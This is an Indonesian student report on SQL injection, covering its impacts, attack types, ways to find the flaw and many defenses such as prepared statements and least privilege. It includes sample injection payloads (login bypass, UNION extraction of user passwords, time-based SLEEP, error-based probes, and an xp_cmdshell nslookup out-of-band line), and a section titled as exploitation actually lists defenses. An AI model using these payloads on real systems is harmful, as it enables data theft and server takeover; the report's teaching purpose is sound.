LAPORAN

KEAMANAN WEBSITE DAN BASIS DATA

“SQL Injection”

Disusun oleh:
Muhammad Rayhan Al Malik

210210502107

PRODI TEKNIK KOMPUTER

JURUSAN TEKNIK INFORMATIKA DAN
KOMPUTERUNIVERSITAS NEGERI MAKASSAR

TAHUN 2023
SQL INJECTION
A. Apa situ SQL Injection?
SQL injection adalah sebuah teknik serangan keamanan pada basis
data yang memanfaatkan celah keamanan pada aplikasi web yang tidak
memvalidasi atau memfilter input pengguna dengan benar sebelum
mengirimkannya ke server basis data. Serangan ini terjadi ketika penyerang
menyisipkan atau memanipulasi perintah SQL di dalam input yang diterima
oleh aplikasi, dengan tujuan untuk mengeksploitasi kelemahan tersebut dan
mendapatkan akses atau informasi yang seharusnya tidak dapat diakses.

Saat seorang penyerang berhasil menyuntikkan perintah SQL

berbahaya ke dalam input, server basis data dapat mengeksekusi perintah
tersebut tanpa memeriksa atau memvalidasi input dengan benar. Hal ini
dapat mengakibatkan berbagai risiko keamanan, termasuk akses tidak sah
ke data sensitif, perusakan atau manipulasi data, dan bahkan kontrol penuh
terhadap server basis data.

Penanganan yang tidak benar terhadap input pengguna, seperti

kurangnya sanitasi atau penggunaan metode query yang tidak aman,
merupakan faktor utama yang menyebabkan celah SQL injection. Oleh
karena itu, para pengembang perangkat lunak perlu menerapkan praktik
keamanan yang baik, seperti penggunaan parameterized queries atau
prepared statements, untuk mencegah terjadinya SQL injection.

Upaya pencegahan melibatkan pemfilteran dan validasi input

pengguna, penggunaan prepared statements atau parameterized queries,
serta penerapan prinsip keamanan pada tingkat aplikasi dan basis data.
Selain itu, pemantauan aktivitas aplikasi web secara teratur dan pembaruan
keamanan terkini juga sangat penting untuk mengidentifikasi dan mengatasi
potensi risiko keamanan. Dengan penerapan langkah-langkah ini, risiko
SQL injection dapat diminimalkan, dan aplikasi web dapat dijaga dari
serangan yang dapat merugikan integritas dan kerahasiaan data.

B. Dampak serangan SQL Injection

Dampak dari serangan SQL injection dapat sangat merugikan dan
mengancam keamanan sistem informasi yang diserang. Beberapa dampak
utama dari serangan SQL injection termasuk:
1. Akses Tidak Sah ke Data Sensitif: Penyerang dapat memanfaatkan celah
SQL injection untuk mendapatkan akses tidak sah ke data sensitif yang
disimpan dalam basis data. Ini mencakup informasi pribadi pengguna,
informasi keuangan, atau data bisnis yang dapat digunakan untuk tujuan
penipuan atau kejahatan lainnya.
2. Manipulasi atau Penghancuran Data: Serangan SQL injection juga dapat
digunakan untuk mengubah, menghapus, atau merusak data dalam basis
data. Hal ini dapat berdampak serius pada integritas dan ketersediaan
data, menyebabkan kerugian finansial dan kerugian operasional.
3. Kontrol Penuh terhadap Server Basis Data: Penyerang yang berhasil
melancarkan serangan SQL injection dapat memperoleh kontrol penuh
terhadap server basis data. Ini berarti mereka dapat menjalankan
perintah SQL sesuai keinginan mereka, mengakibatkan kerusakan yang
lebih besar dan memungkinkan serangan lanjutan.
4. Kehilangan Kepercayaan Pengguna: Jika data sensitif pengguna
terungkap atau terjadi manipulasi data yang signifikan, hal ini dapat
menyebabkan kehilangan kepercayaan pengguna terhadap sistem atau
aplikasi yang diserang. Hal ini dapat merugikan reputasi perusahaan
atau organisasi yang memiliki tanggung jawab atas keamanan data
tersebut.
5. Pengungkapan Informasi Rahasia atau Rahasia Perusahaan: Banyak
organisasi menyimpan informasi rahasia atau rancangan produk dalam
basis data mereka. Serangan SQL injection dapat membocorkan
informasi tersebut kepada pihak yang tidak berwenang, membahayakan
keunggulan kompetitif atau keberlanjutan bisnis.
6. Pemanggilan Fungsi Sistem Operasi: Serangan SQL injection yang
canggih bahkan dapat digunakan untuk menjalankan perintah sistem
operasi pada server, membuka potensi kerentanan yang lebih besar dan
memungkinkan penyerang mengambil alih kendali sistem secara
keseluruhan.
Untuk mengurangi risiko serangan SQL injection, penting bagi
pengembang dan administrator sistem untuk menerapkan praktik keamanan
terbaik, seperti penggunaan parameterized queries, validasi input, dan
pemantauan keamanan secara rutin. Dengan langkah-langkah ini, dapat
dihindari atau setidaknya diminimalkan dampak yang mungkin terjadi
akibat serangan SQL injection.
SQL injection adalah teknik serangan keamanan yang memanfaatkan
celah dalam implementasi SQL pada aplikasi web. Beberapa tipe umum
SQL injection melibatkan manipulasi input pengguna untuk menyisipkan
perintah SQL berbahaya. Berikut adalah beberapa tipe SQL injection yang
umum:
1. Classic SQL Injection:
Pada tipe ini, penyerang menyisipkan perintah SQL di dalam input
pengguna, seperti formulir web atau parameter URL. Misalnya:
 SELECT * FROM users WHERE username = 'input_user' AND
password = 'input_pass';

Jika input_user = 'admin' AND input_pass = 'password' diubah menjadi:

SELECT * FROM users WHERE username = 'admin' --' AND password

= 'password';

2. Blind SQL Injection:

Penyerang tidak menerima langsung hasil dari serangan ini, tetapi
mengonfirmasi kebenaran atau kekeliruan dari pernyataan boolean yang
diajukan. Ini biasanya terjadi ketika hasil dari query tidak ditampilkan
langsung pada halaman web. Misalnya:

SELECT * FROM users WHERE username = 'input_user' AND password

= 'input_pass';

-- Jika input_user = 'admin' diubah menjadi:

SELECT * FROM users WHERE username = 'admin' AND 1=1; -- true

SELECT * FROM users WHERE username = 'admin' AND 1=2; -- false

3. Time-Based Blind SQL Injection:

Mirip dengan Blind SQL Injection, tetapi penyerang mengukur respons
waktu server untuk menentukan kebenaran atau kekeliruan pernyataan
boolean. Ini dapat membantu penyerang dalam kondisi di mana tidak ada
informasi yang ditampilkan langsung. Misalnya:

SELECT * FROM users WHERE username = 'input_user' AND password

= 'input_pass';

-- Jika input_user = 'admin' diubah menjadi:

SELECT * FROM users WHERE username = 'admin' AND IF(1=1,

SLEEP(5), 0); -- Server sleep selama 5 detik

SELECT * FROM users WHERE username = 'admin' AND IF(1=2,

SLEEP(5), 0); -- Server tidak sleep
 4. Union-Based SQL Injection:
Penyerang menggunakan pernyataan UNION untuk menggabungkan
hasil dari query tambahan ke hasil query utama. Ini biasanya terjadi ketika
aplikasi tidak memvalidasi atau memfilter input dengan benar. Misalnya:

SELECT name, email FROM customers WHERE id = 'input_id';

Jika input_id = '1' diubah menjadi:

SELECT name, email FROM customers WHERE id = '1' UNION ALL

SELECT username, password FROM users;

5. Error-Based SQL Injection:

Penyerang memanfaatkan kesalahan yang dihasilkan oleh server basis
data untuk mendapatkan informasi tentang struktur basis data. Misalnya:

SELECT * FROM products WHERE id = 'input_id';

-- Jika input_id = '1' diubah menjadi:

SELECT * FROM products WHERE id = 1 AND 1=CONVERT(int,

(SELECT @@version));

6. Out-of-Band (OOB) SQL Injection:

Penyerang menggunakan saluran komunikasi alternatif untuk
menyampaikan data hasil serangan, seperti DNS requests atau HTTP
requests. Ini berguna jika serangan menggunakan metode Blind SQL
Injection dan hasilnya tidak langsung terlihat. Misalnya:

SELECT * FROM users WHERE username = 'input_user' AND password

= 'input_pass';

-- Jika input_user = 'admin' diubah menjadi:

SELECT * FROM users WHERE username = 'admin'; EXEC

xp_cmdshell('nslookup [Link]');

C. Cara Menemukan Kerentanan SQL Injection

Mencari kerentanan SQL injection (SQLi) merupakan langkah penting
dalam mengamankan aplikasi web. Berikut adalah beberapa cara untuk
menemukan kerentanan SQL injection:
1. Input Testing:
Lakukan pengujian input pada formulir web, parameter URL, dan
area input lainnya. Coba masukkan karakter khusus seperti tanda kutip
tunggal (`'`), tanda kutip ganda (`"`), tanda semikolon (`;`), dan karakter
 lainnya untuk melihat apakah aplikasi memberikan tanggapan error atau
perilaku yang tidak diharapkan.
2. Error Messages:
Perhatikan pesan kesalahan yang mungkin ditampilkan oleh
aplikasi. Pesan kesalahan yang memberikan informasi detail tentang
query SQL atau struktur basis data dapat menjadi petunjuk untuk
kemungkinan kerentanan SQL injection.
3. Union-Based Testing:
Lakukan pengujian Union-Based SQL injection dengan mencoba
menyisipkan perintah UNION untuk menggabungkan hasil query
tambahan. Misalnya, tambahkan
`UNION SELECT null, database(), user(), version(), table_name FROM
information_schema.tables`
pada parameter yang dapat diinjeksi.
4. Boolean-Based Testing:
Coba menyisipkan pernyataan boolean untuk mengkonfirmasi
kebenaran atau kekeliruan suatu kondisi. Misalnya, gantilah bagian
yang dapat diinjeksi dengan `1=1` atau `1=2` dan amati perubahan
perilaku atau pesan kesalahan.
5. Time-Based Blind Testing:
Jika hasil dari serangan SQL injection tidak langsung terlihat, coba
lakukan Time-Based Blind SQL injection dengan menyisipkan perintah
yang memaksa server untuk menghabiskan waktu tertentu, seperti
`AND IF(1=1, SLEEP(5), 0)` atau `AND IF(1=2, SLEEP(5), 0)`.
6. Union-Based Blind Testing:
Jika tidak ada tampilan langsung dari hasil serangan, cobalah Union-
Based Blind SQL injection dengan menyisipkan perintah UNION yang
dapat memberikan informasi tambahan. Misalnya,
`UNION SELECT null, database(), user(), version(), table_name FROM
information_schema.tables`
7. Out-of-Band (OOB) Testing:
Lakukan Out-of-Band SQL injection dengan mencoba
memanfaatkan saluran komunikasi alternatif, seperti DNS requests atau
HTTP requests, untuk menyampaikan data hasil serangan.
8. Automated Tools:
Gunakan alat otomatis, seperti SQLMap, untuk memindai dan
mengidentifikasi kerentanan SQL injection secara otomatis. Alat ini
dapat melakukan serangkaian pengujian secara komprehensif dan
mendeteksi kerentanan dengan cepat.
9. Security Scanners:
Gunakan scanner keamanan web yang menyediakan modul
pengujian untuk SQL injection. Beberapa alat, seperti OWASP ZAP atau
 Burp Suite, dapat membantu mengidentifikasi kerentanan SQL
injection.
10. Code Review:
Lakukan tinjauan kode secara menyeluruh untuk mengidentifikasi
dan memperbaiki potensi kerentanan SQL injection. Perhatikan
penggunaan parameterized queries atau prepared statements untuk
menghindari injeksi SQL.

D. Cara Mengeksploitasi Kerentanan SQL Injection

Berikut adalah beberapa langkah untuk melindungi aplikasi dari SQL
injection:
1. Penggunaan Parameterized Queries atau Prepared Statements:
Gunakan parameterized queries atau prepared statements dalam kode
SQL untuk memastikan bahwa input pengguna tidak dianggap sebagai
perintah SQL yang dapat dieksekusi.
2. Validasi Input Pengguna:
Validasi input pengguna dengan ketat. Pastikan bahwa input sesuai
dengan tipe data yang diharapkan dan tidak mengandung karakter khusus
yang dapat disalahgunakan.
3. Prinsip Kekuatan Terkecil (Least Privilege):
Berikan hak akses minimum yang diperlukan untuk aplikasi dan
pengguna basis data. Hindari memberikan hak akses yang tidak perlu,
sehingga jika terjadi serangan, kerugian potensial dapat diminimalkan.
4. Enkripsi Data:
Enkripsi data sensitif, terutama kata sandi, dalam basis data. Ini
membantu melindungi data bahkan jika serangan SQL injection berhasil
mendapatkan akses.
5. Pemutusan Koneksi Database:
Pastikan bahwa koneksi database tidak diizinkan untuk menjalankan
beberapa perintah SQL sekaligus. Ini dapat membantu mengurangi risiko
serangan SQL injection.
6. Pemantauan Keamanan:
Terapkan sistem pemantauan keamanan untuk mendeteksi potensi
serangan. Pemantauan dapat membantu mengidentifikasi aktivitas yang
mencurigakan atau mencoba eksploitasi SQL injection.
7. Pembaruan Perangkat Lunak:
Selalu pastikan bahwa perangkat lunak server basis data, server web,
dan aplikasi dijalankan dengan versi terbaru dan telah diperbarui dengan
patch keamanan terbaru.
8. Penggunaan Alat Keamanan:
Gunakan alat keamanan seperti web application firewall (WAF) untuk
menyaring atau memblokir serangan SQL injection sebelum mencapai
aplikasi.
 9. Pelatihan Keamanan:
Berikan pelatihan keamanan kepada pengembang, administrator sistem,
dan semua pihak yang terlibat dalam pengembangan dan pemeliharaan
aplikasi web.
10. Uji Keamanan Rutin:
Lakukan pengujian keamanan secara rutin, baik dengan menggunakan
alat otomatis maupun melalui pengujian keamanan manual. Identifikasi dan
perbaiki kerentanan yang ditemukan secepat mungkin.

E. Mencegah SQL Injection

Berikut adalah beberapa praktik terbaik untuk mencegah SQL injection:
1. Parameterized Statements atau Prepared Statements:
Gunakan parameterized statements atau prepared statements saat
berinteraksi dengan basis data. Dengan menggunakan parameter, nilai
input tidak disisipkan langsung ke dalam pernyataan SQL, sehingga
mengurangi risiko SQL injection. Contoh penggunaan parameterized
statement di beberapa bahasa pemrograman:
• PHP menggunakan PDO:**
$stmt = $pdo->prepare("SELECT * FROM users WHERE username =
:username AND password = :password");
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);
$stmt->execute();

• Java menggunakan JDBC:**

String sql = "SELECT * FROM users WHERE username = ? AND
password = ?";
PreparedStatement statement = [Link](sql);
[Link](1, username);
[Link](2, password);
ResultSet result = [Link]();

2. Escaping Input:
Selalu lakukan escaping (menghindari karakter khusus) pada input
pengguna sebelum menyisipkannya ke dalam pernyataan SQL. Fungsi
penghindaran karakter khusus dapat disediakan oleh framework atau
menggunakan fungsi seperti `mysqli_real_escape_string` di PHP.
 • Contoh di PHP:
$username = mysqli_real_escape_string($conn, $username);
$password = mysqli_real_escape_string($conn, $password);
$sql = "SELECT * FROM users WHERE username = '$username' AND
password = '$password'";

3. Least Privilege Principle:

Berikan hak akses basis data dengan prinsip "Least Privilege," yang
berarti berikan hak akses terendah yang diperlukan untuk tugas tertentu.
Hindari memberikan hak akses yang tidak perlu kepada pengguna atau
aplikasi.
4. Input Validation:
Validasi input pengguna dengan ketat. Pastikan input sesuai dengan tipe
data yang diharapkan dan tidak mengandung karakter yang tidak
diinginkan. Input yang tidak valid harus ditolak dan tidak diteruskan ke
dalam pernyataan SQL.
5. Stored Procedures:
Gunakan stored procedures untuk menjalankan query di basis data. Ini
dapat membantu membatasi akses langsung ke tabel dan kolom, serta
menyediakan lapisan keamanan tambahan.
6. Web Application Firewall (WAF):
Pasang Web Application Firewall (WAF) yang dapat mendeteksi dan
mencegah serangan SQL injection. WAF bekerja dengan menganalisis
lalu lintas web dan mengidentifikasi pola yang mencurigakan atau
serangan potensial.
7. Pemutusan Hubungan Koneksi (Connection Pooling):
Gunakan fitur pemutusan hubungan koneksi untuk membatasi waktu
hidup koneksi database. Hal ini dapat membantu mengurangi risiko
serangan karena waktu hidup yang lebih pendek dapat membatasi
kemungkinan eksploitasi.
8. Monitoring dan Logging:
Terapkan sistem pemantauan dan pencatatan yang kuat untuk
mendeteksi aktivitas yang mencurigakan atau upaya serangan SQL
injection. Pencatatan ini dapat membantu identifikasi dan respons cepat
terhadap potensi ancaman.
9. Update dan Patch:
Pastikan basis data dan sistem manajemen basis data (DBMS) selalu
diperbarui dengan patch keamanan terbaru. Jangan abaikan pembaruan
keamanan untuk framework dan aplikasi yang digunakan.
10. Pendidikan dan Pelatihan Keamanan:
Berikan pendidikan dan pelatihan keamanan kepada pengembang,
administrator sistem, dan pihak terkait lainnya. Memahami risiko SQL
 injection dan cara mencegahnya merupakan langkah kunci dalam
melindungi aplikasi web.

F. Additional Defense
Berikut adalah beberapa pertahanan tambahan khusus untuk melindungi
aplikasi dari ancaman SQL injection:
1) Whitelisting:
Terapkan daftar putih (whitelisting) untuk karakter yang diperbolehkan
dalam input pengguna. Hanya izinkan karakter yang benar-benar
diperlukan dan dibutuhkan dalam konteks aplikasi Anda.
2) Validasi Format Data:
Validasi format data sesuai dengan jenis data yang diharapkan. Pastikan
bahwa input yang diterima sesuai dengan format yang diinginkan, seperti
alamat email, nomor telepon, atau format lainnya.
3) Input Length Validation:
Tentukan batas panjang input yang diterima. Ini dapat membantu
mencegah serangan berbasis buffer overflow dan membatasi jumlah data
yang dapat dimasukkan oleh penyerang.
4) Filtering Karakter Khusus:
Implementasikan filtering karakter khusus dengan mencari dan
menghapus karakter yang tidak diinginkan atau berbahaya dari input
pengguna. Ini dapat membantu menghindari penyisipan karakter yang
dapat digunakan dalam serangan SQL injection.
5) Monitor dan Pendeteksian Anomali:
Gunakan alat pemantauan dan deteksi anomali untuk melacak pola
perilaku yang mencurigakan pada lalu lintas aplikasi. Pendeteksian ini
dapat membantu mengidentifikasi serangan SQL injection atau aktivitas
yang tidak biasa.
6) Session Management yang Kuat:
Pastikan manajemen sesi yang kuat dan aman. Gunakan mekanisme
otentikasi dan otorisasi yang baik untuk mencegah penyerang mengakses
informasi atau fitur yang tidak seharusnya.
7) Penanganan Error yang Aman:
Konfigurasikan sistem agar memberikan pesan kesalahan yang terbatas
dan tidak memberikan informasi rinci tentang struktur basis data atau
query yang gagal. Hal ini dapat mencegah penyerang mendapatkan
wawasan yang berlebihan.
8) Limitasi Hak Akses Pengguna Database:
Batasi hak akses pengguna database hanya untuk perintah SQL yang
diperlukan. Hindari memberikan hak akses terlalu besar kepada
pengguna atau aplikasi.
9) Monitoring Log Aplikasi dan Database:
Pantau log aplikasi dan log database secara teratur. Inspeksi log dapat
membantu mendeteksi aktivitas mencurigakan atau upaya serangan dan
memungkinkan respons cepat terhadap kejadian tersebut.
10) Penyaringan pada Tingkat Jaringan:
Gunakan penyaringan di tingkat jaringan, seperti Web Application
Firewall (WAF) atau Intrusion Prevention System (IPS), untuk
menyaring atau memblokir serangan SQL injection sebelum mencapai
aplikasi.
11) Sandboxing atau Kontainerisasi:
Gunakan teknologi kontainerisasi atau sandboxing untuk menjalankan
proses atau aplikasi di lingkungan terisolasi. Hal ini dapat membantu
membatasi dampak kerentanan yang dapat dimanfaatkan oleh penyerang.
12) Pemindaian Keamanan Terjadwal:
Lakukan pemindaian keamanan secara terjadwal untuk mengidentifikasi
dan mengatasi potensi kerentanan SQL injection. Gunakan alat
pemindaian keamanan yang dapat memeriksa keamanan aplikasi secara
menyeluruh.